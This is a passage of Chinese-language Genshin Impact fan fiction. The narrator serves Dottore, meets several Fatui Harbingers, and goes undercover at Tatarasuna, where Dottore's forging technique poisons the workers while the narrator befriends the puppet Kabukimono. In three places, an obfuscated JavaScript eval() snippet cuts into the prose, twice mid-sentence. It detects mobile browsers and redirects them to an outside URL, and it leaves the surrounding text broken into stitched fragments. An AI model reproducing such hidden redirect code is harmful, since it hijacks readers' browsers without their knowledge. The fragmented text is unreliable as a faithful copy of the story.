他的神情变得严肃了很多:“多托雷是个疯子。我当然不是指他的那些试验,那个东西人人都知道。我从上一任手里结果这个位置的时候,那位大人在临终前死死抓着我的手,让我不要和这样的人合作,否则,会跌入深渊。” 我稍稍有些动容:“凯丽德温?” 【仆人】有些惊讶:“哦?你也知道那位大人?不过那位大人的名字已经成了一个禁忌了,她和【博士】做了禁忌的交易,后来反悔的时候遭受了可怕的报复,因为这件事,执行官的死亡后来被单独列出法令来进行管理了。” 我不知道【仆人】的话有多少可信,按照这个家伙的恶趣味,他说的东西最多也就能信一半——他没有理由对我这个刚见一面的【博士】的“新下属”敞开心扉。 我沉默了几秒,干巴巴地回复一句:“是吗?我从未听说过这些。” 【仆人】轻笑一声:“这很正常,执行官之间的龃龉,自然见不得日光。” “其他大人没有意见吗?” “谁说没有意见?你看我不就意见大得很吗?”【仆人】像是开玩笑地说道,“至于其他人,【队长】久不在至冬,【丑角】大人是招揽【博士】的人,对他的所作所为睁一只眼闭一只眼,至于其他执行官,席位在其之上的尚且无法管辖他,更何况是变动频繁的更低席位。” “至冬不是还有冰之女皇吗?” “女皇只看重价值,不管这些。”【仆人】讳莫如深地笑笑。 我不说话了。 【仆人】拍了拍手下的文件,换上一副兴致缺缺的表情。 “走吧。”他说,“希望你能活得久一点。” 于是我开门出去了。 等反手合上门的时候我才想起来【仆人】问了我的名字,我好像都还没有回答。不过既然他后来也没再继续问我,可能也只是一时心血来潮,其实并不是很在意这种东西吧。 回去的时候,我的心有些乱。 这位新的【仆人】认识凯丽德温,甚至关系并不算疏远,不过他好像并不知道我的存在,当然这也很正常,毕竟我只是一个昏迷了很多年的普通愚人众副官。 他对多托雷似乎颇有敌意。 这是我唯一能够确认的点,至于其他的,目前信息不足,我也很难推断。 回去的时候多托雷正好也在,他正在看一份文件,甚至很是悠闲的样子。 我忍不住多看了一眼,好奇他戴着面具到底是怎么看东西的。 只这一眼就被多托雷注意到了,他放下文件,问我:“你刚才在看什么?” 我低下头,选了一个比较笼统的回答:“在看您。” 多托雷轻笑一声。 “是吗?你好像对我的面具很感兴趣的样子。” 我汗流浃背:“只是从前没见过您戴面具的样子,比较好奇。” “哦,这样。” 他走过来,从我手中抽离文件,动作的时候似是不经意地擦过我的手背,没什么温度的布料留下一阵酥酥麻麻的感觉,我忍不住用另一只手覆盖上手背,紧了紧。 多托雷一幅什么都没发生的样子:“好奇可以直接看。” 我冷汗更甚,恨不得现在立刻张双翅膀飞出去,越远越好。 感觉自从多托雷犯过那个大病后,和他呆在一间屋子里都是一种折磨。 不是针对身体的,而是针对精神。 我很想告诉多托雷“你需要支付我和你共处一室的精神损失费用”。 但我很怂,我只能无偿。 我决定岔开这个话题,于是把见到【仆人】后的那些话挑选了一些,又添油加醋些许跟多托雷说了。 多托雷听完语气都没变一分。 “是吗?我知道了。四席总是会说些莫名其妙的话,你不必管他。” “那……”我瞧瞧抬头看了一眼多托雷,确定对方神色无常才试探性地询问,“您以前的那些副官,真的都不在了吗?” “你很关心那些人?”多托雷突然放下文件站起来,阴影顿时笼罩了我。 我心里一慌:“我只是,有些好奇。” 多托雷没回答我的问题,只是说:“闭上眼。” 我下意识地照做。 在一片黑暗之中,我感受到多托雷扶着我的脸把我的头抬起来,他揉捏着我的耳垂,尖锐刺穿那里,熟悉的重量再次回归。 “睁眼。”他说,“之前的耳坠碎掉了,这是新的,不要再弄坏了。” “是……主人。”我的思绪一下子被打断,只是呆呆地看着多托雷,手指摸到一个竖长的,试管形状的冰凉。 我看到多托雷耳边的蓝色耳坠,里面的液体在冰冷的白光下闪烁着。 多托雷松开我,说:“【仆人】那边的事我会交给其他人对接,你以后不用去了。我之后有个在稻妻的任务,你和我一起,对接的文书和通行证明在【丑角】那里,你替我走一趟吧。” “是。” 等从多托雷的实验室出来,我才恍然意识到,被岔开话题了。 多托雷好像很不愿意我关注这些事情。 我或许不该违逆他的想法。 我摸了摸头,手指不可避免地碰到耳垂上冰凉的耳饰。 刺穿的那一下带来的疼痛只是持续了一瞬,很快由于身体的快速修复伤口愈合,耳坠如同成为了身体的一部分,连取都取不下来。 除非像拔肉刺一样硬生生拽出来。 不过那有点太血腥了,也很疼,我没必要给自己找不痛快。 我有些头疼地收拾好大脑里乱七八糟的想法,顺着大脑的记忆朝【丑角】办公的地方走去,幸好这位大人并没有更换过自己的办公处,我很顺利就找到了地方。 不用像找【仆人】的时候问了三四个人才找到,期间还迷路了半个小时。 我向门口的人说明了来意,很快就得到了进去的准许。 里面有两个人。 【丑角】和上次见面的时候相比完全没有变化,似乎我睡过去的时光不是五十年,而只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875962|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短短的一夜,而在他的身边,是一位衣着奇特的少女,她闭着眼睛,眼前覆着带有方形孔洞的白纱。 我走进去,右手放在胸前简单地行礼:“【丑角】大人,以及……” 我看向那位少女。 【丑角】为我做了介绍:“这位是新的执行官,第三席【少女】。哥伦比娅,这是【博士】的副官,塔德纳,是在多托雷加入愚人众前便一直跟随他的下属。” 【少女】走到我面前,即使我现在低着头,她的身高也比我矮上不少,于是我不可避免地与她“对视”。 嗯……一方闭着双眼怎么就不能叫“对视”了呢? “我见过你,塔德纳,在【博士】那里。”【少女】的声音很空灵,就如同一位真正懵懂无知的少女一样,“【博士】待你很不一样,我能感受到,那扭曲的情感……” “咳咳,哥伦比娅,不要再说了。”【丑角】即时制止了【少女】接下来的话。 我:“……” 很好,看来全愚人众都知道多托雷疯了。 这个地方真是没救了。 我顶着【少女】的视线坐立难安,好在【丑角】可能也觉得氛围有点尴尬,将任务所需要的东西交给我后,便赶紧让我出去了。 我和这位统括官大人实在算不上特别熟的关系,也没有多说两句的必要性。 相比至冬,我现在对多托雷所说的那个“在稻妻的任务”比较感兴趣。 我翻看着此次任务的详情。 稻妻踏鞴砂,是一座环形的天然岛屿,地势险峻,而岛屿中央,则是一座高大的锻冶高炉。踏鞴砂锻刀场传承千年,一直为稻妻城的大人物们输送着优质的武器材料。 如今的踏鞴砂锻刀场由一名叫丹羽久秀的男人管辖,虎千代养子御舆长正担任目付。 锻刀场的材料,据说是一种名为“晶化骨髓”的东西,晶化骨髓是一种蕴含“崇神”力量的特殊晶体,虽然能够极大程度地提高钢铁制品的强度和韧性,但也会对生活在踏鞴砂的人造成影响。 不过,锻刀作为稻妻城大人物极为重视的财产,这些踏鞴砂的工人和刀匠也得到了应有的照料。 多托雷此行的目的,似乎是要在稻妻掀起一场足以让愚人众力量渗透的内乱。 为此,他进行了伪装,化身成为一名枫丹机械师埃舍尔,而我,则成为了他的助手,化名为莫里茨。 多托雷打着能够升级锻冶技术的名声,和稻妻的一名工匠“赤目”取得了联系,赤目被他的技术所吸引,答应与他一起研究新的冶炼矿石。 很快,他们便取得了成果,新的冶炼矿石极大地提高了生产和锻冶的效率。 赤目想要以两人的名字一起发表这项技术,多托雷则表示要将这份技术完全地归于赤目名下。 澄黄的火光下,化身为枫丹机械师的多托雷一派儒雅:“赤目先生,我来到稻妻,最初只是希望能够在这里找到新的思路,但幸运的是,我结识了你,若是没有你的启发,我们恐怕没有办法这么快就研究出新的锻冶技术。赤目先生,我已经收获了许多,如果可以的话,请允许我将这份技术完全交予你,想必这份技术在你的手里能够发挥更大的作用。” 赤目十分动容:“埃舍尔先生……您的大义,实在是令人倾佩!”这位老实的中年男人几乎感动的要哭出来,“埃舍尔先生您放心,我绝不会私吞这份技术,我与踏鞴砂的丹羽大人结识,这份技术,理应投放到踏鞴砂,发挥更大的作用。” 他顿了顿,又说:“埃舍尔先生,如果可以的话,请容许我向丹羽大人举荐您,您的能力,应该在更大的地方发挥作用。” 多托雷微笑:“十分乐意。” 就这样,多托雷经由赤目的举荐来到了踏鞴砂,成为了踏鞴砂的顾问之一。 来到踏鞴砂的当天,正是一个日落西山的时候,夕阳的余光洒在这座与外界隔绝的岛屿上,我仰头看着正中心那正在运转着的宏伟锻炉,内心有些震撼。 接待我们的正是丹羽,一位有着红色挑染的青年。 17. 第 17 章 丹羽许是注意到了我的目光,主动为我们介绍。 “那里就是踏鞴砂的中心,也是锻刀场最重要的设施——御影炉心。还要多亏了埃舍尔先生提供的技术,锻冶出来的玉钢无论是品质还是效率,都提高了很多。” 多托雷谦虚一笑:“并不全是我的功劳,如若没有赤目先生的话,我也没办法这么快研发出新的技术。” 丹羽对多托雷不居功名的样子很满意,言语之间也多了许多亲近:“埃舍尔先生的能力我也从赤目那里听说了,您不必过分谦虚,踏鞴砂的大家,未来还要多多仰靠您的技术。” 多托雷:“乐意效劳。” 我沉默地听着两人之间的恭维。 对多托雷所提供的那份新的锻冶技术的内情略知一二的我实在有些笑不出来。 晶化骨髓,据说是魔神战败后血骨结成的晶体,其中蕴含的“崇神”之力,其实是来自远古魔神的怨恨。多托雷所提供的技术,虽然确实能提高锻冶的效率,但长此以往,也会激化晶化骨髓中的“崇神”之力。 魔神残渣能够侵蚀人的神智,那么,“崇神”之力呢? 我想结果应该是差不多的。 一路上碰到的采矿工人的锻冶工匠实在不少,大家对我们这两个枫丹服饰的新面孔都很感兴趣,也很热情。 丹羽笑着为多托雷做介绍。 我跟在多托雷身后,将自己隐藏在那影子之中,降低自己的存在感。 对于踏鞴砂的结局,我有种预感,我将见证的,是一副惨绝人寰的终幕。 “丹羽……你回来了。” 一个稚嫩且带着些懵懂的声音响起,我有些好奇地抬头,看见的是一名身着白色狩衣的少年,紫发,眼睛是蓝紫色,形貌绮丽,胸前垂落着一片特殊的金羽。 少年?看着年龄不是很大。 不。 我看到那人四肢处如同人偶的球形关节,对自己的生物认知产生了一丝疑惑。 是人偶? 人偶竟然能动,还如同活人一般,真的假的? 多托雷似乎也对这位少年很好奇。 “这位是?” 丹羽拍了拍人偶少年的肩膀,少年有些害羞,将自己半躲在丹羽的身后。 “这位是倾奇者,我们的伙伴。他很少见到生面孔,所以有点害羞,抱歉。” 丹羽把倾奇者从自己的身后拉出来,然后从怀里掏出一个画满了樱花和游鱼的风车递给他。 这种样式的风车我在稻妻城的节日庆典上见过,大人们一般都会给自己的孩子买一支。 我其实也很想买一个玩玩,不过多托雷似乎没什么闲情陪我逛这种东西。 丹羽说:“这是我答应给你买的风车,看,我没有食言哦。” 倾奇者高兴地接过风车,清澈的眼睛泛着光亮:“谢谢你,丹羽。” “好了,我这里还有点事要忙,你先回去,等之后我再去找你。” “好。” 倾奇者很快离开了。 多托雷目视倾奇者离开的方向,嘴角的笑容玩味。 他像是感叹一般地说:“你们的感情真好啊。” 丹羽笑着说:“倾奇者心地善良,我一直将他当作是我的家人。” “这样。” 多托雷语气莫名。 丹羽带我我们又看了看踏鞴砂的锻刀场和冶炼炉,参观了一下工匠是怎么干活的,以及使用新技术后锻造出来的武器材料。 他看起来似乎是真的很欣赏多托雷带来的技术和他的能力,对其多次夸赞。 一番参观后,丹羽为我们安排了住处。我和多托雷住在相邻的房间,和其他的技术顾问在一楼。 接下来的日子,多托雷大多数时间会和工匠以及其他技术顾问待在一起,所商讨的内容大抵都是有关锻冶的事宜。 我一般会在多托雷身边当个不说话的摆件,实在无聊了便会出去逛逛。 多托雷对此并无意见。 反正我也帮不上什么忙。 我行走在木制的廊道上,今天的天气不错,在稻妻也称得上是难得的好日头了。我挡了挡有些刺眼的日光,看到正在打铁的工匠处围拢着一大批人,好不热闹。 我好奇地走过去。 人群的正中心,是一位熟悉的少年,正是前几日刚来时见过一面的倾奇者。这位少年模样的人偶拿着一柄比他手臂还长的锤子,一下又一下地锤炼着手下的材料,铁锤击落时,一阵火花四溅。 他的手很稳,动作也很美观,看起来很轻松的样子。 人群中传来议论声。 “真厉害啊,倾奇者才刚学没多久吧,这么快就能有模有样地开始打铁了。” “哈哈,这算什么,你别看他身板瘦,力气可大的很,那铁锤,寻常人可拿不起。” 我问那人:“力气大?有多大?” 那人睨了我一眼,用一副老前辈的样子说:“普通的也就十几斤,一天抡上几千上万次,新人干上一天就要哭爹喊娘的。至于倾奇者那一副,可是整个踏鞴砂最重的一套设备,足有百斤!” 我惊讶地看眼他,又看了眼里面神色轻松的倾奇者,不禁举起手臂比了比:“真的假的?他看着还没我力气大。” 那人登时有些不高兴了,他用挑剔的眼光上上下下打量着我:“嘿,你这小子,新来的?人家那是有真本事的,你?你这细胳膊细腿的,别说百斤了,能拎得起来十几斤的小锤吗?” 我也有些不服气:“我力气确实不大,但十几斤的力气还是有的。” “好啊,那你试试。”那人拉着我的手臂带我挤进人群,到了最里面,“倾奇者,你先停一下,这家伙说自己也能拿得起这锤子,你给他试试。” 周围的人群霎时间沸腾起来,几个看热闹不嫌事大的小年轻还在吆喝着起哄。 “能不能行啊,这小伙子,看着身板可不硬。”质疑的声音响起。 “哈哈,你别看不起别人,谁知道会不会和倾奇者一样,看着瘦弱,实际上力气大得很呢?”这是幸灾乐祸的。 倾奇者放下锤子,那锤子落在地上,震地有声。 他看着我,眼神清澈:“好啊好啊,不过你力气够大吗?这个还挺重的来着。” 我握上那足有成年人小臂长的锤柄,锤柄被火炉的光照了很久,温度有些高,但意外地干燥,一点也没有刚被人拿过的感觉。 我瞟了一眼倾奇者的手掌。 生理特征也和人偶一样吗。 说是百斤的锤就真的是百斤的锤,一点也不带掺假的,我嗷嗷使了半天劲,面红耳赤,一脸的汗,愣是连地儿也没让这锤挪动半分。 我干脆认输:“没办法,没办法,我拎不起来,是我吹牛了。” “年轻人,早这样不就好了。”之前把我拉进来的那人哈哈大笑,拍着我的肩膀,“哈哈,下次可不要再这么莽撞了。” “好的好的。”我维持着脸上的笑意,把这人的手拿开,稍微躲远了点。 一场小小的闹剧就此而散,我从人群中神不知鬼不觉地溜出来,找了个不远的木箱,坐在上面看那些人闹哄哄地让其他人也试试。 令我有些意外的是,倾奇者也溜出来了,他环视了一圈周围,最终视线定格在我的方向走了过来。 找我的? 我稍微坐直了一些。 倾奇者挤了半天才挤出来,身上还带了栏杆上的灰尘,他拍了拍衣服,从身侧的口袋里掏出一个小小的瓷瓶。 他有些局促地说:“你刚才举锤子的时候我看见你手太用力,受伤了,所以来给你送药。” 我愣了一下,才反应过来他说的是我的手腕。 此前因为在深渊的遭遇,我的右手腕基本已经不可能恢复如初了,如今只能做一些简单的拿取,刚才用力的时候,我感受到右手腕撕裂的疼痛,但又在修复力量下迅速愈合。 我记得我很快就用袖子把手腕挡住了,没想到倾奇者眼神这么好。 我露出一个笑,接过他的药,说:“非常感谢你。我也看到你打铁的样子了,你很厉害。” 倾奇者的脸一下子变得通红,连话也说的不太利索了。 “真……真的吗?谢谢你……你,你也可以做到的,只要多加练习。” 那应该不是只要练习就能做到的事吧。 我在心中吐槽了一句。 我看倾奇者没有离开的打算,可能是要看我上完药才会离开的意思,便伸出被长袖层层包裹的右手,解开袖口,横贯整个手腕的狰狞痂痕暴露在空气中。 倾奇者吓了一跳:“你的手腕……” 我安抚性地笑了笑:“以前受的旧伤而已,只是看着吓人,实际上已经不疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这么多年过去,相比须弥也是变换许多,我的父母估计也早已逝去。 一朵被压制在书里的樱花书签掉落下来,倾奇者轻呼了一声。 我思绪回笼,弯腰捡起书签,递还给倾奇者。 “是樱花!”他说。 我想了一会儿,才从记忆里翻出这朵花的来历。 “这是我趁没事偷偷跑出去采的,顺手夹在书里,没想到保存的还挺好。” 那朵樱花脉络情绪,花瓣鲜艳而完整,甚至还带着一丝香味。 倾奇者抬头看我:“偷偷?为什么要偷偷出去?” 我摆了摆手:“因为我的上司是个控制欲很强的人,他不喜欢我离开他的掌控范围太久。” “这样的上司也太糟糕了吧。” “对吧。” 我深为赞同地点点头。 多托雷在稻妻城也每天忙得要死,我偶尔得到机会能够出门去赤目处取东西时会在路上稍作徘徊,书和樱花都是趁着这样的间隙得到的。 我看见倾奇者将樱花小心翼翼地放回书里面,又很小心地合上书,摸了摸封皮,打开自己随身的袋子把书放进去。 我轻轻一瞟,从里面看到了不少东西,颜色各异的弹珠,漂亮的花环,祈福的御守,甚至还有丹羽给的风车。 倾奇者注意到我的目光,自豪地拍拍袋子:“这些都是大家送我的东西,我很喜欢,所以要随身携带着。” 像小孩子一样。 我忍不住勾了勾嘴角。 不远处,有着红色挑染的青年走来,他看了看倾奇者,再把视线转移到我的脸上,思索了一瞬,才开口。 “我记得你,你是埃舍尔先生的助手,叫‘莫里茨’是吧?” 我站起来:“是我。丹羽大人,中午好。” 丹羽挠了挠头,说:“你不用这么客气。我看到你送倾奇者礼物了,感谢你。” “只是小东西而已。” 丹羽又与我闲聊了两句,我看出他只是出于礼节与我谈话,行色匆匆似乎是忙完就过来了,于是随便找了个理由告辞了。 丹羽欣然与我辞别,与倾奇者一道离开了。 18. 第 18 章 夜幕降临之时,我回到了房间,一打开门,便看见多托雷坐在我的床上。 在我关上门后,多托雷合上手里的书抬头看向我。 “回来了?情况如何?” 我将与倾奇者的会面如实告诉多托雷,只是省略了一些细节。 多托雷听完陷入了沉思,过了一会儿他笑起来,声音低沉。 “有趣,实在有趣,能够如同人类一般活动和思考的人偶,这样的技术,实在有趣。就让我来进行一场实验吧,生活在人类之中,向往人类生活的人偶,究竟会走向怎样的结局。” 我想起与倾奇者分别时对方那纯白的笑容,心里顿时有些闷闷得不舒服。 被多托雷看中后,倾奇者的身上到底会发生什么事,我也不是很清楚,但唯一能确定的是,未来所发生的一切定然对倾奇者不是很友好。 说不定…… 说不定…… “我的身份不方便与那位人偶过多接触,你保持平常的交流即可,尽量多接近那位人偶,我需要更多有关他的情报。” “是。” 我低着头,将自己的情绪尽数隐藏起来。 多托雷站起来,路过我的时候宽大的手掌覆上我的肩膀,我感受到那独属于多托雷的温度和气息,身体不禁有些僵硬。 他将我打量两秒:“你的书呢?我记得你在稻妻城买了一本杂谈书,怎么不在了?” 我就半夜睡不着翻过两页,这他也知道?! 我瞬间紧张得脖子像钢管一样硬,用尽全部的力气才能保证自己身体和嗓音和平稳正常。 “我送人了……” 肩膀上的手掌收紧了一些。 “哦?送给谁了?” “白天的时候,送给倾奇者了。” “呵。”多托雷轻笑一声,我手脚冰冷,背后几乎全是冷汗。 好在多托雷似乎并没有要深究这件事的意思,只是意味不明地捏了捏我的肩膀,然后开门离开了。 我轻抚着触感仍存的肩膀,有些搞不明白多托雷的意思。 这是什么意思? 如多托雷所说,他并没有去主动接触过人偶,反而我出门的时候经常会遇到倾奇者,偶尔是在锻铁,偶尔是在与其他的工匠闲聊。 踏鞴砂的工匠对倾奇者几乎都是对晚辈的宽纵一般,倾奇者的外貌和性格,十分受欢迎。 但更多的时候,我会遇到专门来找我的倾奇者。 漂亮妍丽的人偶捧着我送他的书,略有些犹豫地敲响我的房门。我没有拒绝的理由,所以一般都会提前做好开门的准备,等到门响起第一声的时候便打开,邀请倾奇者进屋。 他比我想象中的好学,也更加聪明乖巧,问过我一遍的字再不用问第二遍,我时常忍不住感叹,自己还在教令院上学时若有如此上进心,也不至于连毕业论文也绞尽脑汁写不出来。 倾奇者偶尔会与我分享丹羽给他的糖果,包装花哨,是从城里带回来的水果手工糖,我在稻妻城的时候也因为好奇买过,不过只吃了一颗就甜的有些发腻。 倾奇者不愧是人偶,一连吃下去四五颗也脸色如常,甚至不用担心牙疼的问题。 略有些羡慕。 这样的和平的日子持续了半个月有余,时间悠闲得让我几乎忘记了自己是跟着多托雷来的踏鞴砂,而多托雷来此,则是为了愚人众的计划。 多托雷找到了实验所需的下一步材料,他要制造一种可以替代“神之眼”的东西,甚至比神之眼更加强大,无论什么人,只要愿意付出一些代价,都能够使用力量。 他将此物的名字暂定为“邪眼”,材料则是晶化骨髓。 我从此刻才明白当年在深渊救了自己一命的方盒子其实就是邪眼的初代版本,只不过因为材料问题,过于简陋。 而踏鞴砂,这个被愚人众选中作为切入稻妻的突破点的不幸之地,最近发生了一系列“怪事”。 被岛屿拱卫的中心,那座宏伟的御影炉心,开始不断冒出诡异的黑烟,所有接近炉心的工匠都会如同遭受了某种污染一般,精神陷入癫狂,身体逐渐虚弱。 出现患者的第一日,丹羽派出医师对工匠进行医治,并减少对御影炉心的使用。 医治效果甚微,医师面对患者的情况,几乎难以下手,只开了些寻常的药物,结果自然是毫无作用。 第二日,第三日,越来越多靠近过御影炉心的工匠开始患上怪病,御影炉心的黑烟几乎要将整个炉子包裹起来。 我打开门,从走廊往外望的时候,几乎被这样一副末日般的景象吓到。 踏鞴砂人心惶惶,丹羽不得已下令封锁消息,同时派人前往御影炉心要将炉心关闭。 然而,更悲惨的噩耗传来,御影炉心失控,附近的污染辐射过于严重,派出的人只是靠近百米的距离便已无法继续前进,甚至居住在比较靠近炉心位置的工匠也不得不搬出来,换到远离炉心的庇护所。 情况日益严重,丹羽派出了人前往稻妻城天守阁寻求帮助,在狂风暴雨之中,被派出求助的人乘着简单的船,载着众人的希望和怀中的书信驶向稻妻城的方向。 这一日,几乎所有踏鞴砂的高层都来目送远行,连丹羽也不例外。 我刚奉多托雷的命令传令给驻守在稻妻城和踏鞴砂附近的愚人众,一旦发现从踏鞴砂发出的求助人,绝不放过。 做完这一切,我赶回锻刀场,在人群中看到了丹羽和倾奇者。 这位年轻的负责人经由多天连轴转的工作,眼下青黑一片,人也疲惫了很多,再也不似第一日见面时那般的意气风发。 看到我,丹羽勉强打起来几分精神,倾奇者的眼睛亮了亮。 “丹羽大人。”我照例问好。 丹羽勉强地笑笑:“莫里茨先生,外面风大雨大,你怎么还在外面?” 我回答:“只是看见大家的病情越来越严重,有些担心,便出去看看情况,没想到出门的时候忘了带伞。”我指了指身上湿透的衣服,叹了口气,“现在正准备回去呢。” 丹羽听我说起病人,眉间的忧虑更重。 “踏鞴砂的情况越来越严重,医师们对于这种奇怪的病症束手无策,今早有人找我传报,说隔离区有病人死了,现在大家都很害怕,还有医师闹着要离开的。” 我心里清楚这样的灾祸因谁而起,心情复杂,却又不敢表露出来,只好敷衍着接了几句。 “这样……丹羽大人请放心,既然已经派人前往天守阁求救,想必不日援军便会赶到。” 虽然那些人大概率没法活着到稻妻城…… 丹羽说:“但愿如此。”只是脸色依旧灰暗。 我又看向倾奇者:“你最近没来找我读书了,那本书看得怎么样了?” 倾奇者从自己的袋子里取出我给的那本书,比起刚开始,那本书已经膨胀了很多,里面都是倾奇者记的笔记以及他自己采了夹进书里的各色书签。 自从我告诉倾奇者怎么制作书签后,他便看见什么没有的都要摘下来夹进书里,立志于要把整个踏鞴砂的植物都夹进去。 他甚至跟我说以后有机会去须弥的时候要专门买一墙的书来夹书签。 因为我告诉他须弥雨林是整个提瓦特植物种类最丰富的地方。 “字我差不多都认识了,这本书也快读完了。”倾奇者向我展示他手里的书,用手指比划还剩的部分。 我微笑:“你学习的速度可比我小时候快多了,真厉害。” 倾奇者被夸得脸红,白的发光的脸颊上浮出两片薄薄的红晕。 丹羽摸了摸倾奇者的头,对我说:“这些天实在是劳烦你了,要抽时间来陪倾奇者,还教他识字。这些本来应该是我来做才对,只是最近踏鞴砂实在是太忙了……” “顺手之劳而已,我也就会这些,还是倾奇者悟性高。” 倾奇者在一旁期盼地问我:“那这本书看完之后,我还会有其他的书看吗?” 我有些失笑,就连丹羽脸上的表情也因为倾奇者的缘故放松了不少。 “当然。”我说,“等你看完就来找我吧,我会送你新书。” 虽然我此行确实只带了这本随手在稻妻城买的杂谈,但是我也可以凭借其他的愚人众帮我在稻妻城买一些适合倾奇者看的书,到时候就说是来踏鞴砂的时候带来的,一直放在房间里没看好了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875964|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 与倾奇者相处的时光总是轻松的,在我许下那个随口的誓言的时候,我从未想到事情的变化竟然会进展如此之快,我没能等到倾奇者带着看完的书来找我要新书,只等到了越来越严重的灾情,以及,倾奇者要出发去稻妻城的消息。 前往天守阁求救的人没有一个回来。 因为愚人众截下了所有向外求救的消息。 踏鞴砂的情况越来越严重,死去的人越来越多。 倾奇者找到了丹羽,人偶胸前的金羽是可以见到将军的信物,他决心亲自踏上前往稻妻城的小船,将踏鞴砂正在遭受的厄难传达出去。 倾奇者出发的那天,踏鞴砂所有还能行动的人都来了,人们拥挤着,满是病气的眉眼间怀揣着最后的一丝希望。 那丝希望随着众人的视线,沉重地压在瘦小的人偶身上。 倾奇者捏着胸前的金羽,在人群中环视着,最后毅然决然登上船,随着汹涌的海浪摇摆而去。 我隐在人群之中,在倾奇者看人群的时候几乎是狼狈地弯着腰,不敢与那双清澈的双眼对上。 我颓然地坐在地上,附近的人走动的时候看不到我,一下子被我绊到,然后骂骂咧咧地骂了我几句什么,我没太听清,也不是很在意这个。 我的脑海,我的心口,我的身体里,在反复地重复一个词。 凶手…… 凶手…… 凶手! 凶手! 我轻喘着气,大脑一抽一抽地疼痛着,剧烈的痛让我几乎直不起身,我忍不住弯腰,单手扶着头。 身边传来关切的声音。 “莫里茨先生,你还好吗?” 是丹羽。 我迅速调整好表情,转换成没有事的样子抬头:“没事,我只是突然有点头晕,可能是早上没吃早饭吧。” 丹羽脸上的关心很是恳切,他将我扶起来,甚至伸手摸了摸我的额头,确认没事才稍稍松了口气。 “没事就好,莫里茨先生,请你一定要注意身体,我和倾奇者都很在意你的健康。” 心脏割裂般疼痛。 “是吗?”我几乎笑不出来。 青年虽然忧心于踏鞴砂的事务,如今更是连遭打击,好几天都没合过眼,疏于洗漱,显得有些不修边幅,但脸上关切的神色,却是情真意切。 他说:“如今踏鞴砂还健康的人不多,就连一些顾问也染上了病,万幸你没有事,倾奇者离开之前还嘱咐我要多关照你。” 耳边嗡嗡地响,眼前丹羽的身影变成了好几道幻影。 丹羽的声音还在继续,只是忽远忽近。 我已有些听不真切他的话了,只记得自己最后浑浑噩噩地辞别了丹羽,落荒而逃地朝房间快步走去。 打开门,最里面的卧室站着一身伪装的枫丹服饰的多托雷,他转过身,伪装过后平平无奇的脸上露出一抹恰到好处的惊讶。 我懵痛模糊的大脑骤然清醒,那如鸣鼓的心跳声也迅速平复下来。 多托雷问:“你的脸色看起来如此苍白,是发生什么事了吗?” 我说:“只是身体不舒服,头疼。” 多托雷走过来,刻意模拟成正常人温度的手指按上我的太阳穴,轻柔地按摩着。 我按耐住自己想要逃跑的冲动,乖顺地半伏在多托雷的怀里。 “清幻剂的副作用,头疼的话不用强撑着,以后告诉我,虽然没有办法根治,但用药物抑制疼痛还是做得到的。” 多托雷语气温柔。 “是,主人。” 那双手又向上摸索着,一只手伸手缓缓遮盖住我的双眼,我的视线骤然黑暗,只能感受到另一只手围拢我的腰将我带得向更近的地方靠拢几步。 多托雷的气息几乎就在我头顶。 腰间的手很快离开,没过多久,便带着一颗药丸抵住我的嘴唇。 多托雷的声音近在咫尺:“吃下去。” 我伸出舌头将药舔进去,没多停留便吞咽下去。 多托雷满意地拍拍我的脸,指尖带着点湿意。 “好好休息吧,事情很快就要结束了。” 意识很快陷入黑暗。 19. 第 19 章 醒来的时候我已被放在了床上,连被子也好好盖着。 我莫名感到一阵毛骨悚然。 多托雷什么时候觉醒的男妈妈体质? 这简直就是鬼故事。我倒宁愿我是在地上醒的。 我撑着头恍惚了一会儿。 多托雷给的药很有用,我现在头是不疼了,只是意识依然有些昏沉。 叩叩。 门外传来敲门的声音。 我慢吞吞地掀开被子,随手拿起一件外套披上,打开门,门外是丹羽。 “丹羽大人,你……”我有些惊讶,丹羽几乎从来不会专程来找我。 毕竟他很忙,而我只是顾问身边一个小小的助手而已。若非倾奇者的缘故,我甚至不会和丹羽产生多少交际。 他似乎很匆忙,又像是下定了什么决心一般,那双眼睛盯着我,让我有些心慌。 “莫里茨先生,不,您的真实姓名或许并不是这个。”他说,“总而言之,我冒昧来访是希望能够拜托您一件事情。” 他知道了。 我的假身份。 我不动声色地稍微退后两步,眼睛瞟了一眼外面——空无一人,丹羽是独自前来。 防身的武器被我放在书桌下面,这个距离有点远,如果丹羽出手攻击的话,我可能没有办法第一时间反击。 我警戒着,不忘口头上回复他的话:“我不知道你在说什么,丹羽大人。” “抱歉,我知道这实在是太冒犯了,但是御影炉心的情况越来越糟糕了,倾奇者也迟迟没有消息,我最近在调查黑烟产生的原因,最后发现这一切都可能与埃舍尔带来的新技术和新矿石有关。于是我和桂木偷偷派了人去枫丹,调查了埃舍尔与您的身份。结果,想必您也清楚。” 